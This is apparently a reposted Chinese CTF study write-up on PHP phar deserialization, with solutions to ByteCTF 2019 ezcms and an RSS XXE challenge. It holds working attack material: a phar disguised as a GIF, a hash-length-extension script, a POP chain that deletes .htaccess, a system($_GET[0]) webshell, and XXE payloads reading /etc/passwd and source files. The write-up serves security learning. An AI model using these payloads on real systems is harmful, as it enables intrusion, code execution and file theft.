初識phar反序列化&&復現bytectf_2019_easycms&&RSS思路


概要

來自Secarma的安全研究員Sam Thomas發現了一種新的漏洞利用方式,可以在不使用php函數unserialize()的前提下,引起嚴重的php對象注入漏洞。
這個新的攻擊方式被他公開在了美國的BlackHat會議演講上,演講主題為:”不為人所知的php反序列化漏洞”。它可以使攻擊者將相關漏洞的嚴重程度升級為遠程代碼執行。我們在RIPS代碼分析引擎中添加了對這種新型攻擊的檢測。

關於流包裝

大多數PHP文件操作允許使用各種URL協議去訪問文件路徑:如data://zlib://php://
例如常見的

include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file等函數可以用流協議處理
include('php://filter/read=convert.base64-encode/resource=index.php');
include('data://text/plain;base64,xxxxxxxxxxxx');

phar://也是流包裝的一種

 

phar原理

a stub

可以理解為一個標志,格式為xxx<?php xxx;__HALT_COMPILER();?>,前面內容不限,但必須以__HALT_COMPILER();?>來結尾,否則phar擴展將無法識別這個文件為phar文件。

官方手冊

phar的本質是一種壓縮文件,其中每個被壓縮文件的權限、屬性等信息都放在這部分。這部分還會以序列化的形式存儲用戶自定義的meta-data,這是上述攻擊手法最核心的地方

 

 

demo

根據文件結構我們來自己構建一個phar文件,php內置了一個Phar類來處理相關操作

注意:要將php.ini中的phar.readonly選項設置為Off,否則無法生成phar文件。

phar.php:

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后綴名必須為phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
    $o = new TestObject();
    $o -> data='hu3sky';
    $phar->setMetadata($o); //將自定義的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要壓縮的文件
    //簽名自動計算
    $phar->stopBuffering();
?>

訪問后,會生成一個phar.phar在當前目錄下

 

 用winhex打開

 

 可以明顯的看到meta-data是以序列化的形式存儲的。
有序列化數據必然會有反序列化操作,php一大部分的文件系統函數在通過phar://偽協議解析phar文件時,都會將meta-data進行反序列化,測試后受影響的函數如下:

 

 

phar_fan.php

<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   // TODO: Implement __destruct() method.
    }
}
include('phar://phar.phar');
?>

 

輸出

 

 

 

將phar偽造成其他格式的文件

在前面分析phar的文件結構時可能會注意到,php識別phar文件是通過其文件頭的stub,更確切一點來說是__HALT_COMPILER();?>這段代碼,對前面的內容或者后綴名是沒有要求的。那么我們就可以通過添加任意的文件頭+修改后綴名的方式將phar文件偽裝成其他格式的文件。

<?php
    class TestObject {

    }
    $phar = new Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //設置stub,增加gif文件頭
    $phar ->addFromString('test.txt','test');  //添加要壓縮的文件
    $object = new TestObject();
    $object -> data = 'hu3sky';
    $phar -> setMetadata($object);  //將自定義meta-data存入manifest
    $phar -> stopBuffering();
?>

 

 采用這種方法可以繞過很大一部分上傳檢測。(可以繞過exif_imagetype等函數判斷)

利用條件

phar文件要能夠上傳到服務器端。

file_exists()fopen()file_get_contents()file()等文件操作的函數

要有可用的魔術方法作為“跳板”。

文件操作函數的參數可控,且:/phar等特殊字符沒有被過濾。

漏洞驗證

環境准備

upload_file.php,后端檢測文件上傳,文件類型是否為gif,文件后綴名是否為gif
upload_file.html 文件上傳表單
file_un.php 存在file_exists(),並且存在__destruct()

文件內容

upload_file.html

<!DOCTYPE html>
<html lang="zh-cn">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    phar反序列化
</head>
<body>
<form action="http://127.0.0.1/Phartest/upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

upload_file.php

<?php
$tmp_file_location='E:/phpstudy/WWW/';
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists($tmp_file_location."upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      $tmp_file_location."upload_file/" .$_FILES["file"]["name"]);
      echo "Stored in: " .$tmp_file_location. "upload_file/" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }
?>

file_un.php

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);

 

實現過程

首先是根據file_un.php寫一個生成phar的php文件,當然需要繞過gif,所以需要加GIF89a,然后我們訪問這個php文件后,生成了phar.phar,修改后綴為gif,上傳到服務器,然后利用file_exists,使用phar://執行代碼

 

構造代碼

eval.php

<?php
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> statBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

注意設置 phar.readonly=0(發現phpstudy 5.4.455nts無法生成並且報錯,5.5.38可以)

 

訪問eval.php,查看創建的phar文件並且修改后綴為gif

 

 

 用winhex打開查看,確實有序列化字符串,當用phar://偽協議讀取時,便會自動反序列化,引起phar://反序列化

 

 

 

 

接着上傳,文件會上傳到upload_file目錄下

 

 

 

 

 

 

 

 

 

文件上傳中的$_FILES數組

$_FILES['userfile']['name']客戶端機器文件的原名稱

$_FILES['userfile']['type']文件的 MIME 類型,如果瀏覽器提供此信息的話。一個例子是“image/gif”。不過此 MIME 類型在 PHP 端並不檢查,因此不要想當然認為有這個值

$_FILES['userfile']['size']已上傳文件的大小,單位為字節

$_FILES['userfile']['tmp_name']文件被上傳后在服務端儲存的臨時文件名

$_FILES['userfile']['error']和該文件上傳相關的錯誤代碼。此項目是在 PHP 4.2.0 版本中增加的。

修改臨時存儲文件目錄,在php.ini中設置:

找到指令 upload_tmp_dir:取消注釋該行並將其值更改為所需路徑,例如 "/var/tmp":

對於PHP 5.5和更高版本,請找到指令 sys_temp_dir:取消注釋該行並將其值更改為所需路徑,例如 "/var/tmp":

Phar拓展

根據陸隊的這篇文章SUCTF 2019 出題筆記 & phar 反序列化的一些拓展學習到了zsx師傅的Phar研究文章,發現了另外的一些觸發函數和陸隊自己的對於Phar的繞過trick研究和函數發現

最主要的是調用了php_stream_open_wrapper_ex

額外發現函數

exif
exif_thumbnail
exif_imagetype
gd
imageloadfont
imagecreatefrom***
hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
file / url
get_meta_tags
get_headers
standard
getimagesize
getimagesizefromstring

finfo_file/finfo_buffer/mime_content_type

ZIP

 

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

 

Postgres

<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

當然,pgsqlCopyToFilepg_trace同樣也是能使用的,只是它們需要開啟phar的寫功能

MySQL

LOAD DATA LOCAL INFILE也會觸發這個php_stream_open_wrapper. 讓我們測試一下

<?php
class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');

再配置一下mysqld

[mysqld]
local-infile=1
secure_file_priv=""

 

 膜兩位師傅 orz 

  

繞過對phar://頭限制:

0x01 zsx師傅方法

$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';
@file_get_contents($z);

0x02 陸隊方法

@include('php://filter/read=convert.base64-encode/resource=phar://yunying.phar');
mime_content_type('php://filter/read=convert.base64-encode/resource=phar://yunying.phar')

 

復現bytectf_2019_ezcms

訪問獲得www.zip

  • index.php頁面驗證登陸,可以任意賬號登陸到upload.php上傳頁面,但是只有admin賬號才能進行文件上傳。
  • 訪問了upload.php·,就會在沙盒下生成一個.htaccess文件,內容為:lolololol, i control all。
  • 上傳文件后,會返回文件的存儲路徑,view details可以進入view.php,會回顯文件的mime類型以及文件路徑。
  • 因為目錄下的.htaccess被寫入了內容,無法解析,所以訪問上傳的文件會報500

題目環境由趙師傅搭建:https://github.com/glzjin/bytectf_2019_ezcms 

docker compose失敗,既然失敗了,直接去趙師傅的buuctf做題吧

哈希長度擴展攻擊

直接http://59cf5320-5049-4368-a604-60236fc3fef2.node1.buuoj.cn/www.zip,下載整站源碼

index.php

 

 

 

 只要密碼不為0,就能直接登陸進去,同時設置了一個cookie:hash(進入關鍵點)。然后進入upload.php

發現無法上傳文件提示u r not admin,於是跟進upload.php

 

 

upload.php

 

 

 實例化了一個Admin類的對象。跟進Admin

 

 發現調用了一個is_admin()函數,跟進查看

 

 哈希擴展攻擊無疑了

結合上文的hash密文

 

 

 構造cookie['user'] hash密文,和password

因為不是secret的長度

因此寫了個腳本放進kali里爆破長度,並且一個一個提交嘗試,如果能上傳,就是成功了

import requests,hashpumpy,urllib
def webre():
    sha='52107b08c0f3342d2153ae1d68e6262c'
    string0='admin'
    string1='pcat'
    for i in range(15):
        digest,message=hashpumpy.hashpump(sha,string0,string1,i)
        role=urllib.quote(message[::])
        hsh=digest
        payload={'post':role,'hash':hsh}
        print(i,payload)
webre()
(13, {'post': 'admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00pcat', 'hash': '976a9e80cb464a1e952b225d663c2edc'})

長度為13的時候成功執行,其實可以把腳本更完善不需要自己去測試,直接寫個files上傳和cookie['user']賦值。但是想想要先登陸,在復制和上傳檢查時候是admin,菜了。然后就自己手動測試了。

 Phar反序列化

已經存在了.htaccess

隨便上傳一個圖片馬試試

有個過濾

 

 

 

  這里有兩個攻擊思路

  • phar反序列化將upload_file上傳到別的目錄,繞過sanbox中.htaccess的控制
  • 事先上傳一個php馬兒,然后PHP反序列化刪除.htaccess文件

因為我們不知道臨時存儲的文件的目錄,因此只能用第二種思路。

我們看到view.php中有個File類,跟進File類

 

 

 

 看到mime_content_type,上面寫到了有對文件的讀操作,因此可以調用phar反序列化

 

 第一條思路已經行不通了,因此不能進入Admin類,無法實現目的。

看到了Profile類中的一個call魔術方法

 

查找下有什么open方法的內置類(看WP說是兩個還一個SessionHandler,不知道如何查到的)

ZipArchive  

翻閱手冊發現open方法第一個參數為文件名,第二個為打開方式

ZipArchive::open ( string $filename [, int $flags ] ) : mixed  

這種用overwrite方法,可以直接刪除.htaccess文件

OK,整條POP鏈構造完畢。

先通過view.php中的mime_content_type來進行phar反序列化,調用析構函數,new一個Proflie類再調用__call魔術方法,new一個ziparchive類,調用open方法,ziparchive::overwrite參數直接刪除.htaccess

先上傳一個過waf的馬兒

<?php
$a="sy"."stem";
$a($_GET[0]);  

再本地一個構造phar文件

<?php
class File{

    public $filename;
    public $filepath;
    public $checker;
}
class Profile{

    public $username;
    public $password;
    public $admin;
}
$a=new File();
$a->checker=new Profile();
$a->checker->admin=new ZipArchive();
$a->checker->username="/var/www/html/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess";
$a->checker->password=ZipArchive::OVERWRITE;
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($a);
$phar -> stopBuffering();
?>

上傳

 

踩坑記錄:、

哭了,上傳phar被過濾了,提示  `你讓我害怕`,winhex看到有個`,但是刪除`后,可能損壞了phar結構,又不行。於是換成php 7.0完全上傳解決問題。得跟上時代的潮流。暴捶自己一頓

通過php://filter繞過waf的檢測去觸發phar

http://603da113-ff3e-48ff-b305-60a7fd44852c.node1.buuoj.cn/view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=php://filter/resource=phar://sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/9c7f4a2fbf2dd3dfb7051727a644d99f.phar 

成功刪除.htaccess

 

 

http://603da113-ff3e-48ff-b305-60a7fd44852c.node1.buuoj.cn/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/39ab6b7b4e9946f4fef4d99ee6be3446.php?0=cd%20/;cat%20flag

 

RSS

當時出這道題目的時候,就看出來了應該是XXE的題目,因為RSS是基於xml文檔的

知識點:百度就是弟弟,google才是哥哥

google RSS XXE會發現一篇文章

https://mikeknoop.com/lxml-xxe-exploit/
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
    <title>The Blog</title>
    <link>http://example.com/</link>
    <description>A blog about things</description>
    <lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
    <item>
        <title>&xxe;</title>
        <link>http://example.com</link>
        <description>a post</description>
        <author>author@example.com</author>
        <pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
    </item>
</channel>
</rss>  

雖然限制了域名,但是不像boringcode對於data://偽協議的過濾(https://www.jianshu.com/p/80ce73919edb

猜測一下使用file_get_contents,呢么用data://協議寫入

並且php對mime類型不敏感。為了繞過域名的限制,將上面的payload base64加密一下,然后用data://偽協議傳入,讓其直接讀取

data://baidu.com/plain;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHRpdGxlIFsgPCFFTEVNRU5UIHRpdGxlIEFOWSA+CjwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgPl0+Cjxyc3MgdmVyc2lvbj0iMi4wIiB4bWxuczphdG9tPSJodHRwOi8vd3d3LnczLm9yZy8yMDA1L0F0b20iPgo8Y2hhbm5lbD4KICAgIDx0aXRsZT5UaGUgQmxvZzwvdGl0bGU+CiAgICA8bGluaz5odHRwOi8vZXhhbXBsZS5jb20vPC9saW5rPgogICAgPGRlc2NyaXB0aW9uPkEgYmxvZyBhYm91dCB0aGluZ3M8L2Rlc2NyaXB0aW9uPgogICAgPGxhc3RCdWlsZERhdGU+TW9uLCAwMyBGZWIgMjAxNCAwMDowMDowMCAtMDAwMDwvbGFzdEJ1aWxkRGF0ZT4KICAgIDxpdGVtPgogICAgICAgIDx0aXRsZT4meHhlOzwvdGl0bGU+CiAgICAgICAgPGxpbms+aHR0cDovL2V4YW1wbGUuY29tPC9saW5rPgogICAgICAgIDxkZXNjcmlwdGlvbj5hIHBvc3Q8L2Rlc2NyaXB0aW9uPgogICAgICAgIDxhdXRob3I+YXV0aG9yQGV4YW1wbGUuY29tPC9hdXRob3I+CiAgICAgICAgPHB1YkRhdGU+TW9uLCAwMyBGZWIgMjAxNCAwMDowMDowMCAtMDAwMDwvcHViRGF0ZT4KICAgIDwvaXRlbT4KPC9jaGFubmVsPgo8L3Jzcz4=

 

利用php://filter協議來讀取文件內容

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>  //修改php偽協議讀取源碼
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
    <title>The Blog</title>
    <link>http://example.com/</link>
    <description>A blog about things</description>
    <lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
    <item>
        <title>&xxe;</title>  //調用外部實體
        <link>http://example.com</link>
        <description>a post</description>
        <author>author@example.com</author>
        <pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
    </item>
</channel>
</rss> 

 

  

 

 

 

 

 

 

 

 

 

 

 

 

 

 

參考資料:

https://xz.aliyun.com/t/2715(轉載)

明天學習phar拓展文章:

https://paper.seebug.org/680/

https://blog.zsxsoft.com/post/38


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2026 CODEPRJ.COM